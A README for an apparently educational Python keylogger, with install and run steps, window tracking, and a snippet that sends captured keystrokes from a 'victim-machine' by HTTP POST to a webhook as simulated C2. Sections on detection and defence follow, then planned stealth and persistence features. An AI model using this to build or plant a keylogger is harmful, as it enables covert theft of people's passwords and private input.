# Educational Keylogger

A Keylogger built with modern Python 3.13+ for educational purposes, security research, and authorized penetration testing.

## Legal Disclaimer

**IMPORTANT**: This software is provided for educational and research purposes only. Unauthorized use of keyloggers is illegal and unethical.

- **Legal uses**: Personal learning, authorized penetration testing, security research on your own systems
- **Illegal uses**: Monitoring others without consent, corporate espionage, stalking, identity theft

**By using this software, you agree to use it only on systems you own or have explicit written permission to monitor.**

---

## Features

### Core Functionality
- **Keyboard Event Capture**: Real time logging of all keyboard events using `pynput`
- **Timestamped Logs**: Every keystroke recorded with microsecond precision
- **Active Window Tracking**: Captures which application was active during each keystroke
- **Special Key Detection**: Logs function keys, modifiers (Ctrl, Alt, Shift), and control characters

### Advanced Features
- **Log Rotation**: Automatic file rotation when logs exceed configurable size (default: 5MB)
- **Toggle Control**: Press F9 to pause/resume logging without stopping the process
- **Remote Delivery**: Webhook based batch delivery for C2 (Command & Control) simulation
- **Cross-Platform**: Works on Windows, macOS, and Linux with platform specific optimizations

### Code Quality
- **Modern Python 3.13+**: Uses latest syntax (native type hints, `match` statements, dataclasses)
- **Type Safety**: Full type hints throughout codebase
- **Thread-Safe**: Lock based synchronization for concurrent operations
- **Clean Architecture**: Separation of concerns with dedicated classes for logging, delivery, tracking
- **Graceful Shutdown**: Proper cleanup and buffer flushing on exit

---

## Installation

### Prerequisites
- Python 3.13 or higher
- pip package manager

### Quick Start (Recommended - Using Makefile)
```bash
cd keylogger/

# Create virtual environment and install everything
make setup

# Run tests to verify installation
make test

# Run linting checks
make lint
```

### Manual Installation

**Option 1: Install from pyproject.toml (Recommended)**
```bash
# Create virtual environment
python -m venv venv

# Activate virtual environment
source venv/bin/activate  # Linux/macOS
# or
venv\Scripts\activate     # Windows

# Install main dependencies
pip install -e .

# Or install with dev tools (linters, formatters, type checkers)
pip install -e ".[dev]"
```

**Option 2: Install from requirements.txt**
```bash
pip install -r requirements.txt
```

### Platform-Specific Dependencies

**Windows** (for enhanced window tracking):
```bash
pip install -e ".[windows]"
# or manually:
pip install pywin32==311 psutil==7.1.3
```

**macOS** (for window tracking):
```bash
pip install -e ".[macos]"
# or manually:
pip install pyobjc-framework-Cocoa==12.0
```

**Linux** (requires xdotool):
```bash
sudo apt-get install xdotool  # Debian/Ubuntu
# or
sudo yum install xdotool       # RHEL/CentOS
```

---

## Usage

### Basic Usage
```bash
python keylogger.py
```

### Configuration

Edit the `main()` function in `keylogger.py` to customize behavior:

```python
config = KeyloggerConfig(
    log_dir=Path.home() / ".keylogger_logs",     # Where to save logs
    max_log_size_mb=5.0,                         # Max size before rotation
    webhook_url="https://your-webhook.com/log",  # Optional remote delivery
    webhook_batch_size=50,                       # Events per batch
    toggle_key=Key.f9,                           # Key to pause/resume
    enable_window_tracking=True,                 # Track active windows
    log_special_keys=True                        # Log Ctrl, Alt, etc.
)
```

### Controls
- **F9**: Toggle logging on/off
- **Ctrl+C**: Stop keylogger and exit

### Example Output
```
[2025-11-12 14:30:15] [chrome.exe - Google] Hello world
[2025-11-12 14:30:18] [chrome.exe - Google] [ENTER]
[2025-11-12 14:30:20] [notepad.exe - Untitled] This is a test[BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE]
```

---

## Technical Architecture

### Class Structure

```
Keylogger (Main orchestrator)
├── KeyloggerConfig (Dataclass for configuration)
├── LogManager (File I/O and rotation)
├── WebhookDelivery (Remote C2 delivery)
├── WindowTracker (OS-specific window detection)
└── KeyEvent (Dataclass for event storage)
```

### How It Works

#### 1. **Event Capture** (`pynput.keyboard.Listener`)
The keylogger uses `pynput`'s event driven model to hook into keyboard events at the OS level:

```python
self.listener = keyboard.Listener(on_press=self._on_press)
```

When a key is pressed, the OS notifies `pynput`, which calls our `_on_press()` callback.

#### 2. **Key Processing**
Raw key events are converted to human readable strings:
- **Regular characters**: `'a'`, `'B'`, `'1'`, `'@'`
- **Special keys**: `[SPACE]`, `[ENTER]`, `[BACKSPACE]`
- **Modifiers**: `[CTRL]`, `[ALT]`, `[SHIFT]`

#### 3. **Window Context**
Platform specific APIs capture the active window:
- **Windows**: `win32gui.GetForegroundWindow()` + `psutil`
- **macOS**: `NSWorkspace.sharedWorkspace().activeApplication()`
- **Linux**: `xdotool getactivewindow getwindowname`

Window checks are rate-limited (500ms intervals) to reduce overhead.

#### 4. **Log Management**
Logs are written to disk with automatic rotation:

```python
def _check_rotation(self) -> None:
    current_size_mb = self.current_log_path.stat().st_size / (1024 * 1024)
    if current_size_mb >= self.config.max_log_size_mb:
        # Create new log file and close old one
```

Thread-safe writes using `threading.Lock` ensure data integrity.

#### 5. **Remote Delivery**
Events are batched and delivered via HTTP POST:

```python
payload = {
    "timestamp": "2025-11-12T14:30:15",
    "host": "victim-machine",
    "events": [
        {"timestamp": "...", "key": "a", "window_title": "chrome.exe"},
        ...
    ]
}
requests.post(webhook_url, json=payload)
```

This simulates real world C2 communication used in APT (Advanced Persistent Threat) campaigns.

---

## Detection Methods

### How to Detect Keyloggers

#### 1. **Process Monitoring**
Look for suspicious Python processes:
```bash
# Linux/macOS
ps aux | grep python

# Windows
tasklist | findstr python
```

#### 2. **Network Traffic Analysis**
Monitor outbound HTTP requests:
```bash
# Use Wireshark to inspect POST requests
# Look for JSON payloads with keyboard data
```

#### 3. **File System Monitoring**
Check for new log directories:
```bash
# This keylogger creates logs in:
ls -la ~/.keylogger_logs/
```

#### 4. **Behavioral Analysis**
- High CPU usage from Python processes
- Unusual network connections to unknown endpoints
- Hidden console windows (Windows)

#### 5. **Anti-Virus / EDR**
Modern EDR (Endpoint Detection and Response) solutions detect:
- `pynput` library usage patterns
- Keyboard hook installation
- Unusual file I/O patterns

---

## Defense Strategies

### For Users
1. **Use Anti Keylogger Software**
   - Zemana AntiLogger
   - SpyShelter
   - Malwarebytes

2. **Enable System Integrity Protection**
   - Windows: Enable Secure Boot and BitLocker
   - macOS: Keep SIP enabled
   - Linux: Use AppArmor or SELinux

3. **Monitor Startup Items**
   ```bash
   # Windows: Check Task Scheduler and Startup folder
   # Linux: Check ~/.config/autostart/
   # macOS: Check System Preferences > Users > Login Items
   ```

4. **Use Virtual Keyboards**
   - For sensitive passwords, use on-screen keyboards
   - Many banking sites provide virtual keypads

### For Organizations
1. **Application Whitelisting**: Only allow approved executables
2. **Network Segmentation**: Detect unusual outbound traffic
3. **Regular Audits**: Scan for unauthorized software
4. **User Training**: Educate about phishing and social engineering
5. **Privileged Access Management**: Limit admin rights to prevent installation

---

## Testing & Validation

### Running Tests
Verify all components work correctly:
```bash
# Using Makefile
make test

# Or run directly
python test_keylogger.py
```

The test suite validates:
- KeyType enum functionality
- KeyloggerConfig initialization
- KeyEvent serialization
- LogManager file operations and rotation
- WindowTracker platform detection
- WebhookDelivery buffering logic
- Key processing functions

### Code Quality Checks
Run all linting and type checking:
```bash
# Using Makefile (recommended)
make lint

# Or run individually
ruff check keylogger.py
pylint keylogger.py
mypy keylogger.py
```

### Running in Safe Mode
For learning purposes, test on an isolated VM:
```bash
# Create a test VM (VirtualBox, VMware, etc.)
# Install Python and run keylogger
# Monitor logs in real-time
tail -f ~/.keylogger_logs/keylog_*.txt
```

### Webhook Testing
Use a free webhook testing service:
- [webhook.site](https://webhook.site) - Get instant webhook URL
- [requestbin.com](https://requestbin.com) - Inspect HTTP requests

Update `webhook_url` in config:
```python
config = KeyloggerConfig(
    webhook_url="https://webhook.site/your-unique-id"
)
```

---

## 📊 Code Highlights

### Modern Python 3.13+ Features

**Native Type Hints** (no `typing` imports needed):
```python
def to_dict(self) -> dict[str, str]:  # Not Dict[str, str]
    return {"key": "value"}
```

**Union Types**:
```python
def _on_press(self, key: Key | KeyCode) -> None:  # Not Union[Key, KeyCode]
    ...
```

**Dataclasses** for clean data structures:
```python
@dataclass
class KeyEvent:
    timestamp: datetime
    key: str
    window_title: Optional[str] = None
```

**Context Managers** for resource management:
```python
with self.lock:
    self.logger.info(event.to_log_string())
```

**Pathlib** for cross-platform file operations:
```python
self.config.log_dir / f"{self.config.log_file_prefix}_{timestamp}.txt"
```

---

## Educational Use Cases

### 1. **Security Research**
- Study how keyloggers bypass modern security software
- Test EDR detection capabilities
- Analyze C2 communication patterns

### 2. **Penetration Testing**
- Post-exploitation credential harvesting simulation
- Red team exercises (with authorization)
- Social engineering awareness training

### 3. **Software Development**
- Learn event-driven programming patterns
- Practice multi-threaded application design
- Understand OS-level API interactions

### 4. **Digital Forensics**
- Understand how attackers collect data
- Practice incident response procedures
- Learn to identify keylogger artifacts

---

## Troubleshooting

### Common Issues

**Import Error: pynput not found**
```bash
pip install pynput
```

**Permission Denied (Linux/macOS)**
```bash
# May need to run with sudo for keyboard access
sudo python keylogger.py
```

**Window Tracking Not Working**
- **Windows**: Install `pip install pywin32 psutil`
- **macOS**: Grant accessibility permissions in System Preferences
- **Linux**: Install xdotool via package manager

**Webhook Delivery Failing**
- Check internet connectivity
- Verify webhook URL is correct
- Test webhook with `curl`:
  ```bash
  curl -X POST https://your-webhook.com/log \
    -H "Content-Type: application/json" \
    -d '{"test": "data"}'
  ```

---

## Project Structure

```
keylogger/
├── keylogger.py           # Main implementation (450+ lines)
├── test_keylogger.py      # Test suite (validates all components)
├── requirements.txt       # Python dependencies
├── pyproject.toml         # Project config (deps, linting, type checking)
├── Makefile              # Build automation (setup, test, lint)
└── README.md             # This file
```

---

## Future Enhancements

Potential features for advanced learning:
- [ ] Clipboard monitoring
- [ ] Screenshot capture on trigger words
- [ ] Process memory dumping
- [ ] Encrypted log storage
- [ ] Stealth mode (hidden console, anti-debug)
- [ ] Persistence mechanisms (Windows Registry, cron jobs)
- [ ] Mouse click coordinate logging
- [ ] Form field detection (highlight password fields)

---

## References & Further Reading

### Technical Documentation
- [pynput documentation](https://pynput.readthedocs.io/)
- [Python threading](https://docs.python.org/3/library/threading.html)
- [Python dataclasses](https://docs.python.org/3/library/dataclasses.html)

### Security Research
- [MITRE ATT&CK: Input Capture](https://attack.mitre.org/techniques/T1056/)
- [OWASP: Keylogger Detection](https://owasp.org/www-community/attacks/Keylogger)
- [Krebs on Security: Keylogger Case Studies](https://krebsonsecurity.com/)

### Academic Papers
- "A Survey of Keylogger Technologies" (IEEE Security & Privacy)
- "Detection of Keyloggers Using Machine Learning" (Journal of Cybersecurity)

---

## Author

Built as part of the **60 Cybersecurity Projects** repository.

**Purpose**: Educational demonstration of offensive security techniques and defensive countermeasures.

---

## License

This project is provided for educational purposes only. Use responsibly and ethically.

**NO WARRANTY**: This software is provided "as-is" without any warranties. The author is not responsible for any misuse or damage caused by this software.

---

## Acknowledgments

- **pynput** maintainers for the excellent keyboard library
- Security researchers who share knowledge about defensive measures
- The cybersecurity community for promoting ethical hacking practices

*CarterPerez-dev | 2025 | CertGames.com